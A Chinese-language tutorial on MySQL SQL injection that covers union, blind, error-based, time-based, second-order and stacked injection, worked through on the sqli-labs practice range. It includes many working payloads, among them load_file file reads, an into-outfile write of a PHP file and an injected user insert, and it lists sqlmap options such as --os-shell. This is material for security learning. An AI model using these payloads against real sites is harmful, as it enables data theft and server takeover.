Web通用漏洞--sql注入
阅读原文时间:2023年08月29日阅读:2

SQL注入

mysql注入目的:获取当前web权限

  1. MYSQL--Web组成架构

    服务器搭建web服务可能存在多个站点搭建在一台服务器中,数据集中存储在数据库中,因此对数据库的管理也可以分为两种架构:

    统一用户管理数据库,即对所有站点数据库的管理均为Root权限用户管理

    一对一用户管理数据库,即对不同站点数据库管理分为不同用户管理各自站点数据信息(最小权限原则)

  2. 判断注入点的四个信息

    系统----Windows/Linux(大小写敏感与否/文件路径选择)

    @@version_compile_os //查看当前数据库所在服务器系统

用户----Root/普通用户(存在root权限与否)

user()        //查看当前接入数据库用户

数据库名--为后面猜解数据表、列名、数据做准备

database()        //查看当前接入数据库名称

数据库版本--是否存在information_schema默认库

version()        //查看当前接入数据库版本
  1. 根据以上信息选择注入方案

    Root权限用户:先测试文件读写,后测试读取数据(sql注入最终目的拿到Web权限,如果存在文件读写,权限直接获取)

    非Root权限用户:直接测试读取数据

  2. 注入方法

    借助MYSQL5.0以上版本自带information_schema数据库

    information_schema
    存储MYSQL服务中所有数据库的数据库名、表名、列名的数据库

    information_schema.schemata
    记录MYSQL服务中所有数据库名的数据表

    schema_name
    information_schema.schemata中记录数据库名称的列名

    information_schema.tables
    记录MYSQL服务中所有数据表信息的数据表

    table_schema
    information_schema.tables中记录数据库名称的列名

    table_name
    information_schema,tables中记录数据表名称的列名

    information_schema.columns
    记录MYSQL服务中所有列名信息的数据表

    column_name
    information_schema.columns中记录列名信息的列名

手工注入:

使用order by(根据第几个字段排序)判断字段个数

以sqli-labs靶场举例当order by 3时回显正常,order by 4 数据库报错

使用select 1,2,3,4,5这样的方法查看数据回显位置,通过注入语句可知,2、3的位置为数据回显位置

通过user()、databases()函数查看当前用户和数据库名称

通过@@version_compile_os、version()查看数据库所在操作系统和数据库版本信息

union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security' --+查询该数据库中的表

union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+查询表中列名

union select 1,username,password from users--+查询数据

当Web站点服务器使用Root权限用户统一管理MYSQL服务,服务器中部署的其他站点也可以通过information_schema数据库进行数据查询

在使用sql语句注入时可以利用mysql数据库中内置函数对服务器中的文件进行读写操作,从而达到获取权限的目标

load_file()
加载文件内容
into outfile
将数据信息导入文件

文件读写操作受条件影响

  1. 当前数据库用户权限
  2. 必须指定文件完整的路径
  3. 服务器secure-file-priv设置(在一些高版本的MYSQL服务中,默认开启了开启了限制)

id=-1' union select%201,load_file('c:/1.txt'),3--+读取服务器中C盘的1.txt文件

id=-1' union select 1,2,';' into outfile 'c:/1.php' --+将查询内容输出到指定文件

在进行文件读写时,受限制因素太多,因此很难实现

在开发者进行编写sql语句进行查询时,由于传参的数据类型或者slq语句写法不同导致sql注入拼接失败

  1. 数字型(无符号干扰)

    select * from news where id=$id;

在没有符号干扰的情况下可以直接进行注入

2. 字符型(单引号干扰)

select * from news where id='$id';

由于传参值可能是字符型,因此传参值要用引号括起来,在进行sql注入时要进行sql语句闭合

?id=1' union select 1,2,3,4,5,6 --+
?id=1' union select 1,2,3,4,5,6 and '1'='1
  1. 搜索型(模糊查询符号干扰)

    select * from news where id like '%$id%';

拼接语句可成为

?id=1%' union select 1,2,3,4,5,6 --+
?id=1%' union select 1,2,3,4,5,6 and '%1%'='%1
  1. 框架类

    select * from news where id=('1');
    select * from news where (id='1');

拼接语句为

?id=-1') union select 1,2,3,4,5,6--+
?id=-1') union select 1,2,3,4,5,6 and ('1')=('1

全局变量方法:GET POST SERVER FILES HTTP头等

User-Agent:

使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)

Cookie:

网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]).

Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.

Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号

如功能点:

  1. 用户登录时

  2. 登录判断IP时

    是PHP特性中的$_SERVER['HTTP_X_FORWARDED_FOR'];接受IP的绕过(绕过)

    实现:代码配置固定IP去判断-策略绕过

    实现:数据库白名单IP去判断-select注入

    实现:防注入记录IP去保存数据库-insert注入

  3. 文件上传将文件名写入数据库-insert注入

PHP-MYSQL-数据请求格式

1、数据采用统一格式传输,后端进行格式解析带入数据库(json)

2、数据采用加密编码传输,后端进行解密解码带入数据库(base64)

盲注就是在程序设计过程中,由于一些原因,数据库所查询的数据不会进行回显,这个时候我们就需要使用一些方法进行判断。

  1. 布尔盲注

    参考文章布尔盲注详解

    布尔盲注利用逻辑判断来进行信息查询的一种手段,需要web页面在查询语句逻辑true和false时候做出不同的反应

  • length()猜解数据库名称长度

    ?id=1' and length(database())=8--+
    ?id=1' and length(database())>8--+

  • left()猜解数据库名字符

    ?id=1' and left(database(),1)='s'--+
    ?id=1' and left(database(),2)='se'--+

  • substr()猜解数据库名字符

    ?id=1' and substr(database(),1,1)='s'--+
    ?id=1' and substr(database(),2,1)='e'--+

  • ascii()&substr()猜解数据库名字符ASCII码值

    ?id=1' and ascii(substr(database(),1,1))=115--+
    ?id=1' and ascii(substr(database(),1,1))>115--+

  • count()猜解数据库中数据表的个数

    ?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')=4
    ?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')>4

  • length()&limit猜解数据表名长度

    ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+

  • left()&limit猜解数据表名称

    ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+

  • ascii()&left()通过ascii码猜解数据表名称

    ?id=1' and ascii(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=101--+

-count()猜解指定表中的字段数量

?id=1'  and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3--+

-length()查询指定数据表中的指定字段名称的长度

?id=1'and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2--+

-left()猜解指定表中指定字段的名称

?id=1'  and left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1)='i'--+

-length()猜解数据长度

?id=1'and length((select username from users limit 0,1))=4--+

-ascii()&left()猜解数据

?id=1'and ascii(left((select username from users limit 0,1),1))='68'--+
  1. 报错注入

    参考文章SQL注入实战之报错注入篇(updatexml extractvalue floor)

    报错注入应用在开发者给程序设计执行sql语句时设置了容错处理时,即在进行sql注入时有sql语句报错提示的情况下使用的一种手段

  • updatexml()

    函数利用格式大致为第一个字段和第三个字段可以随便写,第二个字段需要使用concat()函数将分隔符号和查询的语句进行连接,其中第二个字段的分隔符是ASCII码表中使用16进制数代表~,这个是将报错信息显示出来的关键,在第二个字段可以输入想要执行的语句,具体讲解可以看参考文章

    ?id=1'and updatexml(1,concat(0x7e,database(),0x7e),1)--+
    ?id=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

  • etractvalue()

    该函数使用方法大致与updatexml()一致,比updatexml()少了一个字段

    ?id=1'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

报错注入有很多方法,但是由于数据库版本问题等,上述两个函数是最常用的,更多注入方法可以参考12种报错注入+万能语句

3. 延时注入

延时注入是通过sleep()函数和if()函数联动,判断输入条件的true或flase使数据库执行sleep()函数进行延时查询,从而判断输入条件的true或flase。

例如:通过判断if语句中第一个条件是否为true,true执行sleep(3),flase执行sleep(),通过判断页面加载是否有延时而了解语句执行的结果,通常执行语句与布尔注入相结合。

?id=1' and if(1=1,sleep(3),sleep(0))--+

总结

使用场景:

  • 布尔盲注

    页面有逻辑显示,当语句逻辑正确或错误有不同的显示数据时可以使用布尔盲注,布尔盲注必须要有逻辑回显

  • 报错盲注

    当查询sql语句时,页面返回sql语句报错信息时存在报错注入,报错盲注必须要有sql报错信息

  • 延时注入

    延时注入既不用有逻辑回显,也不用有报错信息,但是最为复杂

    基于上述注入方法繁琐程度,一般都会选择采用工具或编写脚本进行注入。

二次注入的意思是指,当用户输入恶意sql语句,将恶意sql语句在进行输入的时候由于过滤或者转义等各种原因,sql语句在存入数据库的时候并不会触发,当Web页面为了实现某种功能再次调用该sql语句时,由于没有再次过滤或者转移,从而导致恶意sql语句被执行,实现二次注入。

以sqli-libs中Less24为例

注入过程大致为,在登陆界面创建用户时候在用户名选项中输入不会触发执行的恶意sql语句,这时服务器通过转义将恶意sql语句存放入数据库,在用户创建成功后登录后进行密码修改,在密码修改时,服务器会带调用用户名选项数据但不会进行转义从而实现sql注入的原理

创建用户源代码,其中这创建用户的功能实现了将恶意sql语句注入数据库,但不会触发的条件

<?php

//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");

if (isset($_POST['submit']))
{

# Validating the user input........

    //$username=  $_POST['username'] ;
    $username=  mysql_escape_string($_POST['username']) ;
    $pass= mysql_escape_string($_POST['password']);
    $re_pass= mysql_escape_string($_POST['re_password']);

    echo "<font size='3' color='#FFFF00'>";
    $sql = "select count(*) from users where username='$username'";
    $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
      $row = mysql_fetch_row($res);

    //print_r($row);
    if (!$row[0]== 0)
        {
        ?>
        <script>alert("The username Already exists, Please choose a different username ")</script>;
        <?php
        header('refresh:1, url=new_user.php');
           }
        else
        {
               if ($pass==$re_pass)
            {
                # Building up the query........

                   $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
                   mysql_query($sql) or die('Error Creating your user account,  : '.mysql_error());
                    echo "</br>";
                    echo "<center><img src=../images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>";
                    //echo "<h1>User Created Successfully</h1>";
                    echo "</br>";
                    echo "</br>";
                    echo "</br>";
                    echo "</br>Redirecting you to login page in 5 sec................";
                    echo "<font size='2'>";
                    echo "</br>If it does not redirect, click the home button on top right</center>";
                    header('refresh:5, url=index.php');
            }
            else
            {
            ?>
            <script>alert('Please make sure that password field and retype password match correctly')</script>
            <?php
            header('refresh:1, url=new_user.php');
            }
        }
}

?>

关键代码

$username=  mysql_escape_string($_POST['username']) ;
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

变量$username 为接受POST表单发送过来的username并使用mysql_escape_string()函数进行过滤,该函数并不转义%和_,它和mysql_real_escape_string()函数差不多,但是在php5.5被废弃,php7.0中被移除。具体讲解参考mysql_real_escape_string和mysql_escape_string有什么本质的区别,有什么用处,为什么被弃用?

其中在$sql中$username和$pass两旁都使用了左斜杠将双引号进行转义,目的是为了避免sql解释器将双引号当作sql语句的结束符

所以在此处可以通过$username插入恶意代码,由于转移函数的原因恶意代码并不会执行或导致sql语句错误无法执行

修改密码部分源代码

<?php

//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");

if (isset($_POST['submit']))
{

    # Validating the user input........
    $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);

    if($pass==$re_pass)
    {
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
        $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
        $row = mysql_affected_rows();
        echo '<font size="3" color="#FFFF00">';
        echo '<center>';
        if($row==1)
        {
            echo "Password successfully updated";

        }
        else
        {
            header('Location: failed.php');
            //echo 'You tried to be smart, Try harder!!!! :( ';
        }
    }
    else
    {
        echo '<font size="5" color="#FFFF00"><center>';
        echo "Make sure New Password and Retype Password fields have same value";
        header('refresh:2, url=index.php');
    }
}
?>
<?php
if(isset($_POST['submit1']))
{
    session_destroy();
    setcookie('Auth', 1 , time()-3600);
    header ('Location: index.php');
}
?>

关键代码

    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);
    $sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

$curr_pass接受修改密码前的密码用于校验未修改时的密码是否正确

$pass和$re_pass接受为新密码和新密码的确认

$sql为接受数据后修改密码的语句,由该语句分析可知在进行密码修改更新数据库的时候需要调用$username去寻找被修改用户的密码,当数据库调用$username时,我们在注册用户时所输入的恶意sql语句就会执行

注入过程

首先构造payload,创建用户名为admin'#,单引号目的修改密码时候用于闭合修改密码的sql语句,#号在注册用户过程中会因为过滤函数过滤掉,不影响注册过程,在修改密码过程中注释掉验证 当前密码的语句,所以最终创建的用户名为admin'#,密码设置为123456

成功插入数据库中

修改密码

由于二次注入调用变量$username时将验证当前密码是否正确的部分给注释掉了,所以在修改密码时当前密码可以随便输。

密码修改成功

在进行修改密码时候的sql语句实际上就变成了修改admin的密码

$sql = "UPDATE users SET PASSWORD='test' where username='admin'#' and password='wqdscdf' ";

进入数据库查看admin用户密码是否被修改

堆叠注入就是通过结束符同时执行多条sql语句,

例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.

以sqli-lib Less-38为例

源代码

<?php

// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
// Check connection
if (mysqli_connect_errno($con1))
{
    echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
    @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{

    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {
        if($row = mysqli_fetch_row($result))
        {
            echo '<font size = "5" color= "#00FF00">';
            printf("Your Username is : %s", $row[1]);
            echo "<br>";
            printf("Your Password is : %s", $row[2]);
            echo "<br>";
            echo "</font>";
        }
//            mysqli_free_result($result);
    }
        /* print divider */
    if (mysqli_more_results($con1))
    {
            //printf("-----------------\n");
    }
     //while (mysqli_next_result($con1));
}
else
    {
    echo '<font size="5" color= "#FFFF00">';
    print_r(mysqli_error($con1));
    echo "</font>";
    }
/* close connection */
mysqli_close($con1);

}
    else { echo "Please input the ID as parameter with numeric value";}

?>

关键代码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))

该sql语句使用了mysqli_multi_query()函数去执行sql语句,支持多条sql语句一起执行,经过分析$sql语句,在注入过程中只需要使用单引号和分号将sql语句进行闭合,添加要执行的语句并在最后添加注释符将原sql语句中的limit注释即可

注入语句为

?id=1';insert into users(`id`,`username`,`password`) values(17,'hack','hack')--+

查看注入结果

详细文章参考sqlmap超详细笔记+思维导图

在对注入点进行sql注入时,首先需要判断注入点的用户权限,以权限高低来判断我们的后续操作

--is-dba        #是否是数据库管理员
--privileges    #查看用户权限
--users            #查看所有用户
--current-user    #查看当前用户
--sql-shell        #执行sql命令
--file-read        #文件读取
--file-write "本地文件" --file-dest "写入地址" #文件写入
--os-cmd=        #单次执行系统命令
--os-shell         #交互式执行系统命令
--current-db    #当前数据库
--dbs            #所有数据库
--tables -D"库名"    #指定库下所有表
--columns -T"表名" -D"库名"    #指定库下指定表中所有字段名
-C "字段名" -T"表名" -D"库名"    --dump  #报出指定字段中的数据
-r "数据包文件地址"    #数据包注入
--tamper"模块名称"        #使用tamper模块注入
-v"1-6"            #显示详细等级
--user-agent ""  #自定义user-agent
--random-agent   #随机user-agent
--time-sec=(2,5) #延迟响应,默认为5
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3)  #测试执行的风险等级,默认为1
--proxy            #使用代理注入